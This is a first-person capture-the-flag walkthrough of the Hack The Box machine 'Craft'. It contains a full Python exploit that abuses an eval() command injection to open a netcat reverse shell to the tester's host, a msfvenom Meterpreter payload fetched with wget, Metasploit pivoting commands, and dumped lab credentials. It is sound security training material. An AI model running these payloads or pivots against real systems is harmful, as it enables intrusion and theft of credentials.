Table of Contents
Craft
Posted on
nmap
nmap -vvv -sV -sC -p- -Pn -oA craft 10.10.10.110 Nmap scan report for 10.10.10.110 Host is up, received user-set (0.077s latency). Scanned at 2024-03-05 18:49:52 CET for 481s Not shown: 65532 closed tcp ports (conn-refused) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCscULO5kzW5659eWy5BdBJWCHxBSvqKIn6TZwEdp4NG3cLJc6aVQxEUknoSoMa2RAy2CFv/IWKbFIEY33XM2PRhKTuSJd/aNrMKs0jX40q/0zpmRv4/HzLdWE33t9on739xRWgsnNI0JOaGAwa4ryubOeKo53ykP9fTgLeHvT37GthWJIzfXNA7UFXJen3T4+4xmbxA2Low8D8xAGjqVLoEgKGVy05oL+zGucd0C5LyclT0Gkxm3NCk3MLdFdPOuaVX5jlX32yKUA//Go9fN9OlGffcHkLfgTA7s+PLememC14H/r8ZLYJYByeBj2MqR6ndkQ3+OkmSjeOBPEamkqz | 256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJAzk0wAfmy1zhnnnQOEoqLN0OK0zF9VwqqwIRkG58ARwaVlwSARRf3BS7Ywo2AfjZS9EWZycsXxy3/7MwEQS1U= | 256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJsBTHLrhy1IfI4AeEWxjJBm9z6wm/F9mMPMUbpRt2+K 443/tcp open ssl/http syn-ack nginx 1.15.8 | http-methods: |_ Supported Methods: GET HEAD OPTIONS |_http-title: About | tls-nextprotoneg: |_ http/1.1 | tls-alpn: |_ http/1.1 |_http-server-header: nginx/1.15.8 | ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US | Issuer: commonName=Craft CA/organizationName=Craft/stateOrProvinceName=New York/countryName=US/organizationalUnitName=Craft/emailAddress=admin@craft.htb/localityName=Buffalo | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2019-02-06T02:25:47 | Not valid after: 2020-06-20T02:25:47 | MD5: 0111:76e2:83c8:0f26:50e7:56e4:ce16:4766 | SHA-1: 2e11:62ef:4d2e:366f:196a:51f0:c5ca:b8ce:8592:3730 | -----BEGIN CERTIFICATE----- | MIIEQDCCAigCCQC6e7PJjcRLnzANBgkqhkiG9w0BAQsFADCBhTELMAkGA1UEBhMC | VVMxETAPBgNVBAgMCE5ldyBZb3JrMRAwDgYDVQQHDAdCdWZmYWxvMQ4wDAYDVQQK | DAVDcmFmdDEOMAwGA1UECwwFQ3JhZnQxETAPBgNVBAMMCENyYWZ0IENBMR4wHAYJ | KoZIhvcNAQkBFg9hZG1pbkBjcmFmdC5odGIwHhcNMTkwMjA2MDIyNTQ3WhcNMjAw | NjIwMDIyNTQ3WjA+MQswCQYDVQQGEwJVUzELMAkGA1UECAwCTlkxDjAMBgNVBAoM | BUNyYWZ0MRIwEAYDVQQDDAljcmFmdC5odGIwggEiMA0GCSqGSIb3DQEBAQUAA4IB | DwAwggEKAoIBAQDV6vf1Ki4fZhJeMOQBAUFx98hM70l6Hpu+4MlB4++i/u2fKRvV | woGYPpz3KGuNKv+BvjR0+yGFM2HflIgZcc5yE//MGnb9F1fcjJ66rT3qBHjIfwls | 6MRygl9NRVSa09PvrXUbULBr95V624TTPewiEy1yZgMP+ByQzm9Td0jdTQ8HDugq | kmOmUDX34kDtZc5u7iFBicTXYBpnYVZNEVsUoT6QVZiez07E5L9d0XZ9+iLeVvaB | XmeimEdbaR2iKKDTmmWaduH/YLUAEP+gS0STM2lKiXL3euL13f9z6i0KjI8Tymby | Sb6zeznqWCYuJRHfEZnYj+B26jcXU2ZE0GwrAgMBAAEwDQYJKoZIhvcNAQELBQAD | ggIBACEEpKD0fivZFNx7Q8/q81SNE8TbAQKyfOP98SXU6LAMPOIfAf27tG8C8xGF | NCmQcggUwpuz2PB+t8vN91oRHdehkpDsVa7ZOKPQm+RQYH7WlMyO65bz5M2zxkbq | m7Eesaeakdj2XR4ah7TbCeSU7Mu2ePdOLgHme8qI60XjvTrNJ7sB7i5vc5cs7Q9j | AgOQhQFJddhFsViOcuICei+m8WDg2w4/Kmbu1lSHCCAm4HPA+H8+dZcHN3v3EtqQ | IRwoph/Jl5h9yxZXDDrFyGMburGjWtIwvrDJmC3m5eDigliUM1OZEWOmDEzBKfUG | dpNln6Mku8EI2qrVITepg9Szb/7lbd8OJsWo1g4s9BPi2NA/ZGk3z3no6AvGPo6d | 74uNAzGaIBaPH9v2pyUsKbeNm/TY2GikZuOUVdSt/dXCEQ5I5TVxLBJYB9RmzA2+ | u5qS2hN6KOBNBWvYsvLTsAyq5VTzi6seRUk887S5oMoVzD4AxchcrwmBOKPaeyTS | sUpN2F4Ea7TRPyQWN1IjVnIjkpRzN5mUwnKyyKovKyQaYE9HPM59PC8uTri59mIv | Rtz++eBxJu/2FFDhI7AiOctOhzKTa7AN0JmTO1pp4OFY5uDl4yFk3t+1lMKhggMa | UOpGWGGlST3o/VI2ebJq4nDewBf/LY3ZtJbNIKcXNpQQzB7/ |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time 6022/tcp open ssh syn-ack (protocol 2.0) | ssh-hostkey: | 2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA) |_ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDU+fEcb0HbuFvUiMce89AuwclFwGQAJ/FSk+X/uPL+08lP9AzNCivAovV8Py3XEGfUhSDQeJ6Xw5aZCIZB7z/40IViSC1S1fe49lmv7TlDSFKEOZIDQIAuDP3giwyrdX0MnM5qrFtqs9lIH0D8MnGVCh3kcjG5Mh+Jb4/fcGkIpLSAyVc2Fm5PFFV0XIay5vv/SffCO1141JHFZj+Sal4t4MmlZiY1RTaAgGLsn1SshS2EYFv91rZqHmmNCk+GNVSU9txRQm3OrB+06QTsOWnYN71p6+hTe/TQjhaE53zM+/xZi7sPIq6l6evvNSMOOt9fgVQkvM2NuVutLiq6od2h | fingerprint-strings: | NULL: |_ SSH-2.0-Go 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port6022-TCP:V=7.94SVN%I=7%D=3/5%Time=65E75CF9%P=x86_64-pc-linux-gnu%r( SF:NULL,C,"SSH-2\.0-Go\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Mar 5 18:57:53 2024 -- 1 IP address (1 host up) scanned in 482.32 seconds
The certificate reveals that the domain name could be craft.htb. Therefore, I set the corresponding record in the /etc/hosts file.
Once this is done, I proceed with analyzing the web server.
Web enumeration
Figure 1: start page
The web site suggests that there is an API. Furthermore, there is a link to a gogs-instance at https://gogs.craft.htb/.
Via the explore feature of gogs (https://gogs.craft.htb/explore/repos), it is possible to access the source code of the API at https://gogs.craft.htb/Craft/craft-api.
There is an issue in the repository (issue #2). It is about a missing check of the ABV value when a brew is added to the system. In the conversation about the issue, there is a link (https://gogs.craft.htb/Craft/craft-api/commit/c414b160578943acfe2e158e89409623f41da4c6) pointing to a commit that adds an additional check of the ABV value. This fix introduces a command injection vulnerability.
Figure 2: fix that introduces the vulnerability
The fix adds a check to the file craft_api/api/brew/endpoints/brew.py
in
the class BrewCollection
whether the ABV value is greater than 1. This
check is done via a format string that is passed to the eval()
function.
Knowing this, it should be possible to gain command execution on the system
via the abv
request parameter.
There are credentials required to interact with the API. The credentials can
be found at
https://gogs.craft.htb/Craft/craft-api/compare/4fd8dbf8422cbf28f8ec96af54f16891dfdd7b95...10e3ba4f0a09c778d7cec673f28d410b73455a86
in the change overview for the file tests/test.py
.
response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
The file tests/test.py
can be used as a skeleton for a exploit script.
A slight modification of the script test.py results in the below exploit.
#!/usr/bin/env python import requests import json import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False) json_response = json.loads(response.text) token = json_response['token'] headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' } # make sure token is valid response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False) print(response.text) # create a sample brew with bogus ABV... should fail. print("Create bogus ABV brew") brew_dict = {} brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f")' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text) # create a sample brew with real ABV... should succeed. print("Create real ABV brew") brew_dict = {} brew_dict['abv'] = '0.15' brew_dict['name'] = 'bullshit' brew_dict['brewer'] = 'bullshit' brew_dict['style'] = 'bullshit' json_data = json.dumps(brew_dict) response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False) print(response.text)
Local Enumeration
Once I obtained a shell on the system, I see that it seems that I am within a container. I assume this because of the combination of the following indicators:
- there are only a very few processes running on the system
- I have a shell as the root user
- there are no other users than system users
- IP address matches the common range for docker networks
- cgroups displayed when
mount
command is executed
Looking around the file system, I find a file containing settings for the API application.
/opt/app/craft_api # cat settings.py # Flask settings FLASK_SERVER_NAME = 'api.craft.htb' FLASK_DEBUG = False # Do not use debug mode in production # Flask-Restplus settings RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list' RESTPLUS_VALIDATE = True RESTPLUS_MASK_SWAGGER = False RESTPLUS_ERROR_404_HELP = False CRAFT_API_SECRET = 'hz66OCkDtv8G6D' # database MYSQL_DATABASE_USER = 'craft' MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O' MYSQL_DATABASE_DB = 'craft' MYSQL_DATABASE_HOST = 'db' SQLALCHEMY_TRACK_MODIFICATIONS = False
To identify other containers on the docker subnet, I used the following command.
for i in `seq 1 255`; do ping -c 1 172.20.0.$i | grep ttl | awk '{print $4}' ; done
This reveals the following IPs which respond the ICMP.
- 172.20.0.1
- 172.20.0.2
- 172.20.0.3
- 172.20.0.4
- 172.20.0.5
- 172.20.0.6
- 172.20.0.7
To enumerate the open ports on these IP addresses, I use the below shell one-liner.
for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.3 $i 2>&1| grep -i open;done
/opt/app: for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.1 $i 2>&1| grep -i open;done 172.20.0.1 (172.20.0.1:22) open 172.20.0.1 (172.20.0.1:80) open 172.20.0.1 (172.20.0.1:443) open
The container running at 172.20.0.1 seems to be web page that is shown when accessing http://craft.htb.
/opt/app: for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.4 $i 2>&1| grep -i open;done 172.20.0.4 (172.20.0.4:3306) open
/opt/app: for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.5 $i 2>&1| grep -i open;done 172.20.0.5 (172.20.0.5:22) open 172.20.0.5 (172.20.0.5:3000) open
The IP address 172.20.0.5 seems to be used for the gogs instance that is running on the server. This can be checked by accessing http://172.20.0.5:3000 via wget.
/opt/app: for i in `seq 1 6000`; do nc -nvv -w 1 -z 172.20.0.7 $i 2>&1| grep -i open;done 172.20.0.7 (172.20.0.7:443) open
There are no open ports on 172.20.0.2, 172.20.0.3, 172.20.0.5, 172.20.0.6.
/opt/app # netstat -atn Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:8888 0.0.0.0:* LISTEN tcp 0 0 127.0.0.11:32919 0.0.0.0:* LISTEN tcp 0 0 172.20.0.6:54416 172.20.0.4:3306 ESTABLISHED tcp 1 0 172.20.0.6:8888 172.20.0.7:44904 CLOSE_WAIT tcp 1 0 172.20.0.6:8888 172.20.0.7:35932 CLOSE_WAIT tcp 0 0 172.20.0.6:33215 10.10.16.2:443 CLOSE_WAIT tcp 0 0 172.20.0.6:36641 10.10.16.2:443 CLOSE_WAIT tcp 0 0 172.20.0.6:39173 10.10.16.2:9001 ESTABLISHED tcp 0 0 172.20.0.6:44517 10.10.16.2:443 CLOSE_WAIT tcp 1 0 172.20.0.6:8888 172.20.0.7:40170 CLOSE_WAIT tcp 1 0 172.20.0.6:8888 172.20.0.7:48580 CLOSE_WAIT tcp 1 0 172.20.0.6:8888 172.20.0.7:48506 CLOSE_WAIT tcp 1 0 172.20.0.6:8888 172.20.0.7:50710 CLOSE_WAIT tcp 1 0 172.20.0.6:8888 172.20.0.7:60198 CLOSE_WAIT tcp 0 1086 172.20.0.6:43511 10.10.16.2:443 ESTABLISHED
Unfortunately, there is neither an SSH nor an MySQL client available in the container to which I have access via the reverse shell. However, I can use a Meterpreter session as a pivot to route traffic through it.
First, I have to create Meterpreter binary.
$ msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=$(myip) LPORT=443 -f elf > foo [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 1068672 bytes Final size of elf file: 1068672 bytes
Next, I have download it to the container I already have access to and make it executable.
/opt/app: wget http://10.10.16.2/foo /opt/app: chmod +x foo
Now, I have to create a Meterpreter listener from within the msfconsole.
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp payload => linux/x64/meterpreter_reverse_tcp msf6 exploit(multi/handler) > set lport 443 lport => 443 msf6 exploit(multi/handler) > set lhost tun0 lhost => 10.10.16.2 msf6 exploit(multi/handler) > options Payload options (linux/x64/meterpreter_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.16.2 yes The listen address (an interface may be specified) LPORT 443 yes The listen port [...] msf6 exploit(multi/handler) > run -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created.
Once the listener is running, the Meterpreter shell can be executed.
/opt/app: ./foo&
Now that the session is established, autorouting must be configured from within the msfconsole.
msf6 exploit(multi/handler) > use post/multi/manage/autoroute msf6 post(multi/manage/autoroute) > set netmask 255.255.0.0 netmask => 255.255.0.0 msf6 post(multi/manage/autoroute) > set subnet 172.20.0.0 subnet => 172.20.0.0 msf6 post(multi/manage/autoroute) > options Module options (post/multi/manage/autoroute): Name Current Setting Required Description ---- --------------- -------- ----------- CMD autoadd yes Specify the autoroute command (Accepted: add, autoadd, print, delete, default) NETMASK 255.255.0.0 no Netmask (IPv4 as "255.255.255.0" or CIDR as "/24" SESSION yes The session to run this module on SUBNET 172.20.0.0 no Subnet (IPv4, for example, 10.10.10.0) View the full module info with the info, or info -d command. msf6 post(multi/manage/autoroute) > set session 1 session => 1 msf6 post(multi/manage/autoroute) > run [*] Running module against 172.20.0.6 [*] Searching for subnets to autoroute. [+] Route added to subnet 172.20.0.0/255.255.0.0 from host's routing table. [*] Post module execution completed
To make the tunnel accessible to other applications, I configure the metasploit socks module. This will setup a socks proxy that can be used via proxychains.
msf6 auxiliary(scanner/ssh/ssh_login) > use server/socks_proxy msf6 auxiliary(server/socks_proxy) > run [*] Auxiliary module running as background job 1. msf6 auxiliary(server/socks_proxy) > [*] Starting the SOCKS proxy server
Now, I can use the socks proxy to connect to the IP addresses discovered previously. As I have credentials for the database, I start with a connection to the database.
$ proxychains -q mysql -h 172.20.0.4 -u craft -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 14 Server version: 8.0.15 MySQL Community Server - GPL Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]> show databases; +--------------------+ | Database | +--------------------+ | craft | | information_schema | +--------------------+ 2 rows in set (0.093 sec)
Enumerating the database, gives me some additional users and their passwords.
MySQL [(none)]> use craft; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MySQL [craft]> show tables; +-----------------+ | Tables_in_craft | +-----------------+ | brew | | user | +-----------------+ 2 rows in set (0.075 sec) MySQL [craft]> select * from user; +----+----------+----------------+ | id | username | password | +----+----------+----------------+ | 1 | dinesh | 4aUh0A8PbVJxgd | | 4 | ebachman | llJ77D8QFkLPQB | | 5 | gilfoyle | ZEU3N8WNM2rh4T | +----+----------+----------------+ 3 rows in set (0.081 sec)
gilfoyle’s credentials can be used to login to the gogs instance. This
reveals an additional repository named craft-infra
. Investigating the
repository reveals an SSH private key which can be downloaded. Additionally,
there seems to be a Hashicorp Vault instance running in a container on port
8200 (see
https://gogs.craft.htb/gilfoyle/craft-infra/src/master/nginx/nginx.conf). The
nginx reverse proxy will route all requests to vault.craft.htb to this
container.
After setting the respective entry in the /etc/hosts file, it is possible to access the vault instance.
I already identified that on 172.20.0.1 a SSH server is running. Therefore, I try to access this address with the recently retrieved SSH private key. It is required to have the Metasploit autorouting and the socks proxy running for this to work.
When accessing the new target, I have to provide a password for the SSH key. Luckily, the recently obtained password for gilfoyle works.
$ proxychains -q ssh -i gilfoyle_id_rsa gilfoyle@172.20.0.1 . * .. . * * * * @()Ooc()* o . (Q@*0CG*O() ___ |\_________/|/ _ \ | | | | | / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | \_| | | | | | |\___/ |\_|__|__|_/| \_________/ Enter passphrase for key 'gilfoyle_id_rsa': Linux craft.htb 6.1.0-12-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.52-1 (2023-09-07) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Thu Nov 16 08:03:39 2023 from 10.10.14.23 gilfoyle@craft:~$
Now, I can retrieve the user flag from the system.
Privilege escalation
The Hashicorp vault client is installed on the target and the environment
variable VAULT_ADDR
are set.
gilfoyle@craft:~$ vault Usage: vault <command> [args] Common commands: read Read data and retrieves secrets write Write data, configuration, and secrets delete Delete secrets and configuration list List data or secrets login Authenticate locally agent Start a Vault agent server Start a Vault server status Print seal and HA status unwrap Unwrap a wrapped secret Other commands: audit Interact with audit devices auth Interact with auth methods kv Interact with Vaults Key-Value storage lease Interact with leases namespace Interact with namespaces operator Perform operator-specific tasks path-help Retrieve API help for paths plugin Interact with Vault plugins and catalog policy Interact with policies secrets Interact with secrets engines ssh Initiate an SSH session token Interact with tokens gilfoyle@craft:~$ env SSH_CONNECTION=172.20.0.6 34484 172.20.0.1 22 LANG=en_US.UTF-8 XDG_SESSION_ID=380 USER=gilfoyle PWD=/home/gilfoyle HOME=/home/gilfoyle SSH_CLIENT=172.20.0.6 34484 22 SSH_TTY=/dev/pts/0 MAIL=/var/mail/gilfoyle TERM=xterm-256color SHELL=/bin/bash VAULT_ADDR=https://vault.craft.htb:8200/ SHLVL=1 LOGNAME=gilfoyle XDG_RUNTIME_DIR=/run/user/1001 PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games _=/usr/bin/env
The vault configuration that I found in the git repo indicates that the privilege escalation vector is via the vault.
#!/bin/bash # set up vault secrets backend vault secrets enable ssh vault write ssh/roles/root_otp \ key_type=otp \ default_user=root \ cidr_list=0.0.0.0/0
It is possible to retrieve the OTP which gives access to the root account via the following command.
gilfoyle@craft:~$ vault write ssh/creds/root_otp ip=127.0.0.1 Key Value --- ----- lease_id ssh/creds/root_otp/98ad84b2-479b-e422-147c-b174bd4d7ac2 lease_duration 768h lease_renewable false ip 127.0.0.1 key 3e38d5aa-ef23-4c51-291f-bdce02eb17f6 key_type otp port 22 username root
Now it is possible to login as root. The key
can be used as password. Onced logged in,
the root flag can be obtained.
gilfoyle@craft:~$ ssh root@127.0.0.1